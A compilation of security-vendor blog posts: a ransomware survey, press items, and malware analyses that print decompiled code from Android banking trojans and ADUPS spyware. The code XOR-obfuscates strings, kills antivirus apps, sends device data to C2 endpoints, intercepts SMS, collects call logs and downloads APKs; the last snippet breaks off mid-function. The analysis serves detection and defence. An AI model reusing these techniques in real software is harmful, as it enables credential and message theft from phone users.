38% of Consumers Affected by Ransomware Pay Up

New study reveals shocking statistics on ransomware

If you think ransomware is a problem that impacts only deep-pocketed big businesses like hospitals or banks, new research by cybersecurity firm Trustlook might make you think differently. In its latest research, Trustlook found that consumers are increasingly being targeted with ransomware—and, perhaps surprisingly, many of them are paying up.

Ransomware is malicious software that locks all files on a targeted computer or network until the owner pays the ransom. While it’s true that hackers may have more to gain from large organizations, experts say they see consumers, with their lack of sophistication in security, as lower-hanging fruit. Because consumers usually have fewer information security resources than large organizations, breaches are far easier to achieve and are more likely to have a meaningful impact, and thus are more likely to result in a payment.

Most users are completely unaware of the threat posed by ransomware attacks and are not prepared to handle them. Trustlook’s research shows that this lack of awareness and apathy is resulting in insufficient action taken to protect devices and data. 48% of consumers are not worried about becoming a victim of a ransomware attack, and only 7% of non-impacted consumers say they would pay the ransom if they were hacked. Other findings include:

  • 17% of consumers have been infected with ransomware
  • 38% of affected consumers paid the ransom
  • $100-$500 was the dollar range of ransomware payouts by consumers
  • 45% of consumers have not heard of ransomware
  • 23% of consumers do not backup the files on their computer or mobile device

Since the beginning of 2016, ransomware has gone from a relatively exclusive category of malware utility to a mainstream destructive tool used in wave after wave of phishing attacks against individuals and companies alike. Ransomware is now so widespread that it cost businesses a total of $1 billion in 2016, according to a new report. Moreover, ransomware has been identified by the U.S. Department of Justice as the “biggest cyberthreat” of 2017.

Ransomware is delivered primarily via a phishing email, which means consumers and employees, who are the last lines of defense in any security stack, must be trained to identify it in order to prevent it. This has made traditional security measures, such as antivirus tools, less effective.

In addition, the rise of crypto currencies such as Bitcoin have had a dramatic impact on the number and type of cybercrime opportunities. These tools have become the engine of cybercrime by making it safe and easy to transfer money anonymously.

Trustlook has the following advice for consumers who are worried that they might become a victim of ransomware. “Backup your data to multiple devices, and to at least one device that is not connected to a network,” says Allan Zhang, co-founder and CEO of Trustlook. “Also, be cautious of emails by checking the sender’s email address before clicking any link.”

To see an infographic of Trustlook’s ransomware research findings, please click here. For more information on SECUREai, Trustlook’s artificial intelligence security engine that detects ransomware, please visit http://www.trustlook.com.

Trojan Steals Account Information from European Banking Apps

A banking trojan discovered by Trustlook labs targets European banks and can steal users’ banking credentials. To make matters worse, the trojan is also capable of blocking most anti-virus apps.

The trojan disguises itself as an Adobe Flash Player app on Google Play. The malware hides string constants, keeps them encoded, and only decodes them before they are used.

The package can be identified as having the following characteristics:

  • MD5: b3a83ea6252bc7a4303774c1cd2c3b6f
  • SHA256: 784c835761e0223a46195fccbffae9fc0e19725ee989fe08e9d9fe119f7d4056
  • Size: 395595
  • App name: AdobeFlashPlayer
  • Package name: update.Adobe.Flash.Player

The package icon is:

apicon

The malware hides critical strings in order to prevent identification. It uses an exclusive or (XOR) operation to obfuscate the strings.

One of the encoding functions is shown below. The malware uses 7 similar functions to encode the string:

  public static String a(String paramString)
  {
    int i = paramString.length();
    char[] arrayOfChar = new char[i];
    int j = i - 1;
    for (i = j; j >= 0; i = j)
    {
      j = paramString.charAt(i);
      int k = i - 1;
      arrayOfChar[i] = ((char)(j ^ 0x52));
      if (k < 0) {
        break;
      }
      j = k - 1;
      arrayOfChar[k] = ((char)(paramString.charAt(k) ^ 0x7D));
    }
    return new String(arrayOfChar);
  }

After encoding, the string becomes unreadable. Upon execution of the malware, the app attempts to terminate any anti-virus apps. The decoded strings are listed in the comments added by Trustlook :

    void a() {
        int v0;
        int v10 = 22;
        int v9 = -1;
        if(Build$VERSION.SDK_INT <= v10) {
            v0 = 0;
            int v3;
            for(v3 = 0; v0 > v9; v3 = v0) {
                String v5 = this.b();
                String[] v6 = new String[31];
                v6[0] = a.a("\u000E\u0001\u0000@\u0006\u000B\b\u001C\u000F\u0017C\u000F\t\u000F\u001A\u000F\u001F\u000B"); // com.keerby.adaware
                v6[1] = b.a("Y\u0004WE[\u0003T\u0007[\t\u0014\u001D\t\u0006U\tS\u0007_\u0018_\bO\u0019S\u001FC");//com.ahnlab.v3mobilesecurity
                v6[2] = a.a("\u000E\u0001\u0000@\f\u0018\f\u001D\u0019@\f\u0000\t\u001C\u0002\u0007\t@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.avast.android.mobilesecurity
                v6[3] = b.a("Y\u0004WE[\u0005N\u0002L\u0002H\u001EI");//com.antivirus
                v6[4] = a.a("\r\u0002\u0003C\u000F\u001B\u0007\u001F\u000FC\u000F\u0003\n\u001F\u0001\u0004\n");//com.avira.android
                v6[5] = b.a("Y\u0004WEX\u0002N\u000F_\r_\u0005^\u000EHE[\u0005N\u0002L\u0002H\u001EI");//com.bitdefender.antivirus
                v6[6] = a.a("\r\u0002\u0003C\f\u0018\u0002\u0001\t\u0018\u000F\u001F\nC\u0003\u0002\f\u0004\u0002\b@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.bullguard.mobile.mobilesecurity
                v6[7] = b.a("\bU\u0006\u0014\bU\u0006U\u000FUEY\u0002I\u0006_E[\u0005N\u0002L\u0002H\u001EI");//com.comodo.cisme.antivirus
[]
    public String b() {
        String v0;
        if(Build$VERSION.SDK_INT <= 19) {
            List v1 = this.getSystemService(b.a("\nY\u001FS\u001DS\u001FC")).getRunningTasks(1);//activity
            v1.get(0);
            v0 = v1.get(0).topActivity.getPackageName();
        }
        else {
            v0 = this.getSystemService(a.a("\f\r\u0019\u0007\u001B\u0007\u0019\u0017")).getRunningAppProcesses().get(0).processName;
        }//activity

        return v0;
    }

    protected void onHandleIntent(Intent arg1) {
        this.a();
    }

The following is a list of the security apps whose processes are terminated by the malware:

  • keerby.adaware
  • ahnlab.v3mobilesecurity
  • avast.android.mobilesecurity
  • antivirus
  • avira.android
  • bitdefender.antivirus
  • bullguard.mobile.mobilesecurity
  • comodo.cisme.antivirus
  • drweb
  • emsisoft.security
  • eScan.main
  • eset.ems2.gp
  • fsecure.ms.dc
  • fortinet.forticlient
  • gdata.mobilesecurity
  • ikarus.mobile.security
  • k7computing.android.security
  • kms.free
  • malwarebytes.antimalware
  • wsandroid.suite
  • pandasecurity.pandaav
  • quickheal.platform
  • solo.security
  • sophos.smsec
  • antispycell.free
  • symantec.enterprise.mobile.security
  • totaldefense.security
  • trendmicro.tmmspersonal
  • trustport.mobilesecurity
  • ssd.vipre
  • zillya.security

The malware then looks for the banking apps’ processes. If found, the malware sends the information to the C&C server, and receives specific forms from the server to create a fake banking interface that entices users to enter their credentials.

public String a()
  {
    Log.d(i.a("8,'+\"+3.4O=-6"), k.a("%\0357\n5\020V\0327\026=x5\024?\0358\fQ\013")); //INVISIBLE-LOG  SEARCH BANK CLIENT'S
    Object localObject1 = getPackageManager().getInstalledApplications(128).iterator();
    int i11 = 0;
    int i10 = 0;
    int i20 = 0;
    int i19 = 0;
    int i18 = 0;
    int i17 = 0;
    int i9 = 0;
    int i7 = 0;
    int i5 = 0;
    int i3 = 0;
    int i1 = 0;
    int m = 0;
    int i = 0;
    while (((Iterator)localObject1).hasNext())
    {
      localObject2 = (ApplicationInfo)((Iterator)localObject1).next();
      int j = i11;
      if (((ApplicationInfo)localObject2).packageName.equals(i.a("\022\r\034L\020\t\023\003\037\t_\003\037\006\003\r\030\006_\003\001\022\002L\020\t\023\003\037\t.\006\030\020\024\t\005"))) {
        j = 1; //com.akbank.android.apps.akbank_direkt
      }
      if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X>\0376\0276\005:\0276\035v\0337\0241\032=X;\023(\005-\024="))) {
        j = 2; //com.finansbank.mobile.cepsube
      }
      int k = i10;
      if (((ApplicationInfo)localObject2).packageName.equals(i.a(""))) {
        k = 1;
      }
      if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X,\0337\024,\023;\036v\0369\0323\0249\0303"))) {
        k = 2; //com.tmobtech.halkbank
      }
 []

        PowerManager$WakeLock v0_2 = v0_1.getSystemService(k.a("(\u0019/\u0013*")).newWakeLock(1, i.a("\"\u0007\u0003\u0014\u0018\u0001\u0014"));
		//power Service
        if(v0_2 != null) {
            v0_2.acquire();
        }

        e v10 = new e();
        k v11 = new k();
        Object v0_3 = this.getSystemService(k.a("(\u001E7\u0018="));//phone
        String v1 = "";
        if(Build$VERSION.SDK_INT < 23) {
            v3 = ((TelephonyManager)v0_3).getDeviceId();
            v2 = new StringBuilder().insert(0, i.a("Y")).append(((TelephonyManager)v0_3).getNetworkOperatorName()).append(k.a("q")).append(((TelephonyManager)v0_3).getLine1Number()).toString();
            v7 = v3;
        }
        else {
            v1 = Settings$Secure.getString(this.getContentResolver(), i.a("\u0003\u001F\u0006\u0003\r\u0018\u0006.\u000B\u0015"));//android_id
            if(v1 == "") {
                v1 = new StringBuilder().insert(0, k.a("Em")).append(Build.BOARD.length() % 10).append(Build.BRAND.length() % 10).append(Build.CPU_ABI.length() % 10).append(Build.DEVICE.length() % 10).append(Build.DISPLAY.length() % 10).append(Build.HOST.length() % 10).append(Build.ID.length() % 10).append(Build.MANUFACTURER.length() % 10).append(Build.MODEL.length() % 10).append(Build.PRODUCT.length() % 10).append(Build.TAGS.length() % 10).append(Build.TYPE.length() % 10).append(Build.USER.length() % 10).toString();
            }

            v3 = i.a("J?-X");//(NO)
            v7 = v1;
            v1 = k.a("\u0011\u0018\u001F6\u0013<");//Indefined
            v2 = v3;
        }

        String v4 = Build$VERSION.RELEASE;
        String v5 = new StringBuilder().insert(0, Build.MODEL).append(i.a("BY")).append(Build.PRODUCT).append(k.a("q")).toString();
        String v6 = ((TelephonyManager)v0_3).getNetworkCountryIso();
        String v8 = "";
        i.a("A");
        if(!this.getSystemService(k.a("<\u0013.\u001F;\u0013\u0007\u00067\u001A1\u0015!")).isAdminActive(null)) { //device_policy
            v3 = i.a("A");
            v0_1 = this;
        }
        else {
            v3 = k.a("i");
            v0_1 = this;
        }

        boolean v0_4 = v0_1.getSystemService(i.a("\t\u0014\u001B\u0016\u0017\u0010\u0010\u0015")).inKeyguardRestrictedInputMode(); //keyguard
        k.a("h");
        if(v0_4) {
            v0_5 = i.a("A");
            Log.e(k.a("jDj"), i.a("\u001E\u0004\u0017")); //222 off
        }
        else {
            v0_5 = k.a("i");
            Log.e(i.a("CPC"), k.a("\u00196"));
        }

        Log.e(i.a("\u0012\u001E\u0011\u0005"), new StringBuilder().insert(0, k.a("\u0002-\u001D\u0007\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString());
		//post tuk_p=
        v0_5 = v11.c(v10.a(this.a.d + i.a("M\u0010\u0006\u001C\u000B\u001F\u000E\u001E\u0006^\u0005\u0010\u0016\u0014L\u0001\n\u0001"), new StringBuilder().insert(0, k.a("\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString())); ///adminlod/gate.php
        Log.e("", new StringBuilder().insert(0, i.a("QOQ\\Q")).append(v0_5).toString());
        if(v0_5.contains(k.a("\n\u00169$"))) {
            v0_5 = this.a();
            System.out.println("");
            System.out.println(new StringBuilder().insert(0, i.a("\u0002\u0007\u0005=\u0015\u0003\u0005\u0003.\u0012L")).append(v11.b(new StringBuilder().insert(0, " ").append(v7).append(k.a("b")).append(v2).append(v1).append(i.a("K")).append(v4).append(k.a("b")).append(v6).append(i.a("K")).append(v0_5).append(k.a("b")).append(v5).toString())).toString()); // set_data_p=
            v3 = this.a.d + i.a("^\u0003\u0015\u000F\u0018\f\u001D\r\u0015M\u0003\u0007\u0016L\u0001\n\u0001"); ///adminlod/reg.php
            StringBuilder v9 = new StringBuilder().insert(0, k.a("\u0006e"));
            StringBuilder v0_6 = new StringBuilder().insert(0, v7).append(i.a("K")).append(v2).append(v1).append(k.a("b")).append(v4).append(i.a("K")).append(v6).append(k.a("b")).append(v0_5).append(i.a("K")).append(v5).append(k.a("b"));
            this.a.getClass();
            v0_5 = v11.c(v10.a(v3, v9.append(v11.b(v0_6.append("DDD").append(i.a("K")).append(v8).toString())).toString()));

The affected bank apps are:

  • akbank.android.apps.akbank_direkt
  • finansbank.mobile.cepsube
  • garanti.cepsubesi
  • tmobtech.halkbank
  • pozitron.iscep
  • vakifbank.mobile
  • ykb.android
  • ziraat.ziraatmobil
  • whatsapp
  • facebook.orca
  • facebook.katana
  • instagram.android
  • supercell.clashroyale
  • supercell.clashofclans
  • google.android.play.games
  • snapchat.android
  • twitter.android
  • google.android.apps.translate
  • ebay.gumtree.au
  • anz.android
  • bankaustria.android.olb
  • bawag.mbanking
  • easybank.mbanking
  • isis_papyrus.raiffeisen_pay_eyewdg
  • spardat.netbanking
  • volksbank.volksbankmobile
  • commbank.netbank
  • westpac.bank
  • stgeorge.bank
  • com.nab.mobile
  • com.ingdirect.android
  • com.bankwest.mobile
  • banksa.bank
  • paypal.android.p2pmobile
  • grppl.android.shell.CMBlloydsTSB73
  • grppl.android.shell.halifax
  • co.tsb.mobilebank
  • creditagricole.androidapp
  • comarch.mobile
  • bzwbk.bzwbk24
  • bzwbk.bzwbk24
  • eurobank
  • getingroup.mobilebanking
  • ing.ingmobile
  • ing.ingmobile
  • pkobp.iko
  • mbank
  • android.bcpBankingApp.millenniumPL
  • eleader.mobilebanking.pekao
  • eleader.mobilebanking.raiffeisen
  • db.mm.deutschebank
  • commerzbanking.mobil
  • starfinanz.smob.android.sfinanzstatus
  • ing.diba.mbbr2
  • fiducia.smartphone.android.banking.vr
  • santander.de
  • starfinanz.smob.android.sbanking
  • postbank.finanzassistent
  • dkb.portalapp
  • consorsbank
  • comdirect.android
  • creditagricole.android
  • axa.monaxa
  • banquepopulaire.cyberplus
  • bnpparibas.mescomptes
  • boursorama.android.clients
  • caisseepargne.android.mobilebanking
  • cic_prod.bad
  • cm_prod.bad
  • groupama.toujoursla
  • IngDirectAndroid
  • fullsix.android.labanquepostale.accountaccess
  • lcl.android.customerarea
  • macif.mobile.application.android
  • ocito.cdn.activity.creditdunord
  • societegenerale.mobile.lappli

The malware is capable of stealing a user’s contacts , sending an SMS message, opening a web page, updating itself and more. The following code snippets demonstrate how the malware downloads an APK and updates itself:

            if(v9_1[v8_1].contains(i.a("7\u0001\u0006\u0010\u0016\u0014\u0011. \u001E\u0016\u0002"))) {//Updates_Bots
                v2 = v11.a(v9_1[v8_1], k.a("\n6\u00035\u0014=\u0004e"), i.a("\u001E\u0005\u0007\t\u0016L"));//|number= |text=
                v0_9 = v9_1[v8_1].split(k.a(",\u0013 \u0002e")); //text=
                System.out.println(new StringBuilder().insert(0, v2).append(v0_9[1]).toString());
                Log.d("", "");
                v3 = UUID.randomUUID().toString();
                v4 = i.a("L\u0010\u0012\u001A");//.apk
                try {
                    URLConnection v0_12 = new URL(v0_9[1]).openConnection();
                    ((HttpURLConnection)v0_12).setRequestMethod(k.a("\u001F3\f")); //GET
                    ((HttpURLConnection)v0_12).setDoOutput(true);
                    ((HttpURLConnection)v0_12).connect();
                    v1 = Environment.getExternalStorageDirectory() + i.a("M\u0015\r\u0006\f\u001D\r\u0010\u0006^"); ///download/
                    Log.v("", new StringBuilder().insert(0, k.a("&\u0019\"\u0010Lx")).append(v1).toString()); //PATH: 
                    File v5_1 = new File(v1);
                    v5_1.mkdirs();
                    v5_2 = new FileOutputStream(new File(v5_1, new StringBuilder().insert(0, v3).append(v4).toString()));
                    v1_1 = ((HttpURLConnection)v0_12).getInputStream();
                    v6_2 = new byte[4096];
                    v0_13 = v1_1;
                    goto label_524;
                }


Summary
Banking malware that steals users’ log in credentials is becoming an increasing problem. Most of this category of malware, as is highlighted in this post, attempts to stay hidden to prevent analysis and detection. It also uses an obfuscation technique to make textual data unreadable. Using these techniques of hiding strings and masking data is useful for malware writers because it requires much more time for analysis to be done and the malware to be identified.

Thankfully, in this case, Trustlook was able to gather deep insights and knowledge of the malware behavior. Trustlook’s SECUREai anti-threat platform can effectively protect users against this invasion.

Trustlook Responds to Government Repeal of Broadband Privacy Rules

Last month’s proposal by the Trump administration to reverse the privacy regulations put in place by the Obama administration in October 2016 could lead to an increase in phishing attacks, according to cybersecurity company Trustlook.

The FCC rules would have given consumers greater control over what their internet service provider can do with their data by requiring those companies to get permission from customers before using their information to create targeted advertisements.

Under the regulation rollback, there are few limits on the ways ISPs will be allowed to interact with sensitive user data. That includes not just allowing providers to create marketing profiles based on the browsing history of their users, but also letting them deploy undetectable tools that track web traffic, too.

Trustlook CEO Allan Zhang shared this quote with ThreatPost:

“Our bigger concern is once this data is freely sold and traded, it is possible for bad actors to acquire this data and perpetrate personalized phishing attacks,” said Allan Zhang, co-founder and CEO of cybersecurity company Trustlook. He added, because apps such as AppFlash collect personal data legally and malware detectors don’t identify them, consumers will likely be oblivious to how their personal information is being collected and used.

You can read the entire article here.

 

Trustlook Demonstrates Enhanced Device Security with Advanced Artificial Intelligence

Trustlook is demonstrating the integration of Trustlook’s SECUREai engine with the Qualcomm HavenTM Security Platform on the Qualcomm® Snapdragon™ 835 mobile platform during Mobile World Congress 2017. Using power-efficient machine learning-based behavioral analysis, the solution is designed to support enhanced device security through real-time detection and classification of zero-day malware and privacy violations.

The Qualcomm Haven Security Platform, announced at CES 2017, supports advanced hardware-based security features such as fingerprint and iris authentication, device attestation, and real-time device behavior monitoring. Trustlook’s SECUREai is a suite of embeddable security engines that identify advanced malware, detect device behavior anomalies, and classify threats using proprietary AI technology. SECUREai supports multiple platforms including Android, security gateways, IoT devices, and currently powers products of leading mobile device makers such as Huawei and Tecno Mobile, and numerous Android security apps.

“Artificial intelligence is a game changer for mobile security,” said Allan Zhang, CEO and co-founder of Trustlook. “It is nearly impossible for human researchers today to keep up with the rapid changing threat landscape. Machine learning is the great equalizer to help the good guys stay ahead and take control. We are very excited to work with Qualcomm Technologies on this effort.”

“Working together, Trustlook and Qualcomm Technologies are demonstrating how a leading anti-virus engine can combine with platform-level machine learning,” said Sy Choudhury, senior director of product management, Qualcomm Technologies, Inc. “By utilizing the behavioral capabilities of the Qualcomm Haven Security Platform, Trustlook’s SECUREai engine delivers real-time and offline detection of zero-day threats. These can be reported back to home base, and be used to protect millions of other devices which are possibly under threat.”

The Trustlook solution on Qualcomm Haven Security Platform is available to handset OEMs on the Snapdragon 835 mobile platform, and is expected to be supported by additional Snapdragon SoCs later this year.

Trojan Intercepts SMS Messages To Attack Banks In South Korea

Banks in South Korea recently started to offer customers a text messaging option to access accounts and authenticate transactions. It was reported that a major South Korea bank, KEB Hana Bank, was the first to launch the text banking service in the country on Nov 21, 2016. Unfortunately, cyber thieves have picked up on this, and are trying to get their hands on these text messages.

Trustlook labs discovered a new banking Trojan that targets these banks in South Korea that offer the text messaging service. The Trojan disguises itself as a Google Play app and the user is requested to grant device administrator rights for it. This prevents the malware for being removed.

The app starts as a background service and is invisible to the user. The package can be identified as having the following characteristics:

  • MD5: b4d419cd7dc4f7bd233fa87f89f73f22
  • SHA256: 1fa03f9fa2c6744b672433c06a1a3142997ba4f261b68eddbc03545caff06a82
  • Size: 100289 bytes
  • App name: Google_Play
  • Package name: com.android.systemsetting


The package icon is:

image00

Upon execution, the app persuades the user to grant device administrator access in order to maintain its presence on the system:

image02

The app disguises itself as “AhnLab V3 Mobile PLUS” which is a popular mobile security app in South Korea.

image01


In the meantime, it attempts to remove the legitimate AhnLab security apps:

 public void onClick(View arg2) {

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobileplus");

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobilesecurity.soda");


The malware attempts to collects the user’s device information and send it to the server:

image04

It then goes through the system to look for the following banking apps:

  • nh.smart
  • com.shinhan.sbanking
  • com.hanabank.ebk.channel.android.hananbank
  • com.webcash.wooribank
  • com.kbstar.kbbank

The following code snippets are used to retrieve information on any installed banking apps:

public class FBDBSender

   private void uploadInstallApp() {

       try {

[...]

           boolean v1 = CoreService.checkAPP(((Context)this), "nh.smart");

           boolean v2 = CoreService.checkAPP(((Context)this), "com.shinhan.sbanking");

           boolean v3 = CoreService.checkAPP(((Context)this), "com.hanabank.ebk.channel.android.hananbank");

           boolean v4 = CoreService.checkAPP(((Context)this), "com.webcash.wooribank");

           boolean v5 = CoreService.checkAPP(((Context)this), "com.kbstar.kbbank");

           String v6 = this.getVersion("nh.smart");

           String v7 = this.getVersion("com.shinhan.sbanking");

           String v8 = this.getVersion("com.hanabank.ebk.channel.android.hananbank");

           String v9 = this.getVersion("com.webcash.wooribank");

           String v10 = this.getVersion("com.kbstar.kbbank");

[...]

           UploadInstallAppTask v12 = new UploadInstallAppTask(this);

           String[] v13 = new String[10];

           String v11 = v1 ? "1" : "0";

           v13[0] = v11;

           v11 = v2 ? "1" : "0";

           v13[1] = v11;

           int v14 = 2;

           v11 = v3 ? "1" : "0";

           v13[v14] = v11;

           v14 = 3;

           v11 = v4 ? "1" : "0";

           v13[v14] = v11;

           v14 = 4;

           v11 = v5 ? "1" : "0";

           v13[v14] = v11;

           v13[5] = v6;

           v13[6] = v7;

           v13[7] = v8;

           v13[8] = v9;

           v13[9] = v10;

           v12.execute(((Object[])v13));

              [...]


The malware then sends out the captured information:

image03


The malware intercepts all the SMS messages between the device and the banks and sends it to the attacker:

public class SMSReceiver extends BroadcastReceiver {

   static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";

   private final String TAG;



   public SMSReceiver() {

       super();

       this.TAG = "sms Receiver";

   }



   public void onReceive(Context arg23, Intent arg24) {

       if("android.provider.Telephony.SMS_RECEIVED".equals(arg24.getAction())) {

           Bundle v3 = arg24.getExtras();

           if(v3 != null) {

               SmsInfoDao v13 = new SmsInfoDao(arg23);

               Object v10 = v3.get("pdus");

               SmsMessage[] v8 = new SmsMessage[v10.length];

               int v4;

               for(v4 = 0; v4 < v10.length; ++v4) {

                   v8[v4] = SmsMessage.createFromPdu(v10[v4]);

               }



               SmsMessage[] v2 = v8;

               int v6 = v2.length;

               int v5;

               for(v5 = 0; v5 < v6; ++v5) {

                   SmsMessage v7 = v2[v5];

                   new Date().toString();

                   String v15 = v7.getDisplayOriginatingAddress();

                   String v16 = v7.getDisplayMessageBody();

                   if(v16.startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                       String v9 = v16.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                       if(v9.startsWith("http")) {

                           Log.d("sms Receiver", "new address:" + v9);

                           SharedPreferences v11 = PreferenceManager.getDefaultSharedPreferences(arg23);

                           App.URL_BASE = v9;

                           v11.edit().putString("serverIp", v9).commit();

                       }

                   }



                   if(App.curInterceptState != 0 && System.currentTimeMillis() - App.curInterceptStateStartTime < 9223372036854775807L) {

                       SmsInfo v12 = new SmsInfo();

                       v12._id = (((int)Math.round(Math.random() * 9999999 + 1))) * -1;

                       v12.thread_id = "";

                       v12.service_center = "";

                       v12.name = "";

                       v12.phoneNumber = v15;

                       v12.smsbody = v16;

                       v12.date = new Date().getTime();

                       v12.type = 0;

                       v13.startWritableDatabase(true);

                       v13.insert(v12);

                       v13.setTransactionSuccessful();

                       v13.closeDatabase(true);

                       this.abortBroadcast();

                   }

               [...]

   public class SMSContent extends ContentObserver {

       public SMSContent(CoreService arg1, Handler arg2) {

           CoreService.this = arg1;

           super(arg2);

       }



       public void onChange(boolean arg23) {

           Log.i("SMS Core Service", "smsÓб仯");

           super.onChange(arg23);

           Cursor v8 = App.getInstance().getContentResolver().query(Uri.parse("content://sms/inbox"), null, " read = ?", new String[]{"0"}, "date asc");

           if(v8 != null && (v8.moveToFirst())) {

               int v10 = v8.getColumnIndex("_id");

               int v19 = v8.getColumnIndex("thread_id");

               int v16 = v8.getColumnIndex("service_center");

               int v12 = v8.getColumnIndex("person");

               int v14 = v8.getColumnIndex("address");

               int v18 = v8.getColumnIndex("body");

               int v9 = v8.getColumnIndex("date");

               int v20 = v8.getColumnIndex("type");

               do {

                   SmsInfo v17 = new SmsInfo();

                   v17._id = v8.getInt(v10);

                   v17.thread_id = v8.getString(v19);

                   v17.service_center = v8.getString(v16);

                   v17.name = v8.getString(v12);

                   v17.phoneNumber = v8.getString(v14);

                   v17.smsbody = v8.getString(v18);

                   v17.date = v8.getLong(v9);

                   v17.type = v8.getInt(v20);

                   if(!CommUtil.isEmpty(v17.smsbody)) {

                       Toast.makeText(CoreService.this, v17.smsbody + "", 0).show();

                       Log.i("SMS Core Service", v17.smsbody);

                       if(v17.smsbody.trim().startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                           String v13 = v17.smsbody.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                           Log.i("SMS Core Service", v13);

                           Toast.makeText(CoreService.this, ((CharSequence)v13), 0).show();

                           if(v13.startsWith("http")) {

                               Log.d("SMS Core Service", "new server address:" + v13);

                               SharedPreferences v15 = PreferenceManager.getDefaultSharedPreferences(CoreService.this);

                               App.URL_BASE = v13;

                               v15.edit().putString("serverIp", v13).commit();

                               CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                               CoreService.this.getSystemService("notification").cancelAll();

                           }

                       }

                       else if(v17.smsbody.trim().startsWith(Constant.LOCK_SCREEN_ON)) {

                           Log.i("SMS Core Service", v17.smsbody.trim() + " is not startsWith " + Constant.NEW_SERVER_MSG_PREFIX);

                       }



                       Log.d("SMS Core Service", "insert sms to db");

                       CoreService.this.sid.startWritableDatabase(true);

                       CoreService.this.sid.insert(v17);

                       CoreService.this.sid.setTransactionSuccessful();

                       CoreService.this.sid.closeDatabase(true);

                       if(App.curInterceptState == 0) {

                           continue;

                       }



                       if(System.currentTimeMillis() - App.curInterceptStateStartTime >= 9223372036854775807L) {

                           continue;

                       }



                       CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                       CoreService.this.getSystemService("notification").cancelAll();

                   }

               }

               while(v8.moveToNext());



               CoreService.this.uploadDbSms();

           }



           v8.close();

       }


The app is capable of updating itself:

     protected String[] doInBackground(AppUpdateModel[] arg11) {

           String[] v6;

           try {

               AppUpdateModel v1 = arg11[0];

               String v2 = App.URL_BASE + v1.getUpdateUrl();

               Log.i("SMS Core Service", v2);

               long v4 = System.currentTimeMillis();

               CoreService.this.lastFileName = v4 + ".apk";

               v6 = new String[]{NetUtils.downApk(v2, v4 + ".apk", CoreService.this), v1.getAppPackageName()};

           }


Summary

For anyone using the text banking service that is being offered by some Korean banks, we suggest you install the Trustlook Mobile Security app to detect and block this attack, as well as to prevent further malicious activities.

Good news if you got a Barnes & Noble Nook Tablet 7 for the Holidays

nook-7

Over the past couple of months, Trustlook Mobile Security has published a lot of research (here and here) about ADUPS spyware. It is no surprise we have received many inquiries about the latest ADUPS security vulnerability involving the Barnes & Noble Nook 7. You may or may not know that the $50 Barnes & Noble device was shipping with Adups backdoor-planting firmware preinstalled.

We are happy to announce that Barnes and Noble has got a fix. The company has also issued the following statement regarding the issue.

“NOOK Tablet 7” went on sale on November 26. By that time, the device automatically updated to a newer version of ADUPS (5.5), which has been certified as complying with Google’s security requirements, when first connected to Wi-Fi. ADUPS has confirmed to Barnes & Noble that it never collected any personally identifiable information or location data from NOOK Tablet 7” devices, nor will it do so in the future.

Finally, we are working on a software update to remove ADUPS completely from the NOOK Tablet 7”. That update will be made available to download within the next few weeks, but in the meantime customers can rest assured that the device is safe to use.”

Whew! To think that you could have been sending your most private information to servers in China while you were reading your favorite novel was quite concerning.

 

Digging into ADUPS FOTA data collection details

People like to think their brand new phone is clean and free of malware, but that is not always the case. Some smartphone manufacturers choose to use a third party FOTA (Firmware Over-The-Air) service instead of Google’s, which can pose serious security risks. This is what happened in the case of Shanghai based ADUPS Technology Co.

ADUPS provides FOTA update services for mobile devices. Trustlook Labs researched multiple mobile devices and discovered several apps produced by ADUPS have serious security flaws. We researched a sample with package name “com.adups.fota”, app name “无线升级”, version 5.1.0.0.1.

The app comes preinstalled on the device. It collects many types of user information. In addition to specifications such as IMEI, IMSI, MAC address, version number, and operator, this app attempts to collect user’s SMS text messages and call logs. More troubling is that all of these procedures are done without user’s consent and are processed in the background.

Diving into the code…

The following code snippets show the app start to collect call logs and SMS messages:

    public static void getCallLogList(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date>" + arg8 + " and " + "date" + "<" + System.currentTimeMillis();
        try {
            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/call"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_25;
            }

            goto label_87;
        }
        catch(Exception v0) {
            goto label_99;
        }

        try {
        label_25:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_2 = new TellMessageBean();
                v0_2.messages = "";
                v0_2.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("number"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = v1.getString(v1.getColumnIndex("duration"));
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    if("1".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    v6.append(v3);
                    v6.append(":");
                    v6.append(v4);
                    v6.append(":");
                    v6.append(v5);
                    v0_2.tells = v6.toString();
                    new DataBaseOperate(arg7).insertTellMessage(v0_2);
                    Trace.d(v0_2.toString());
                    if(v1.moveToNext()) {
                        continue;
                    }

                    break;
                }
                while(true);
            }
[...]

    public static void getSmsInPhone(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date > " + arg8 + " and " + "date <" + System.currentTimeMillis();
        try {
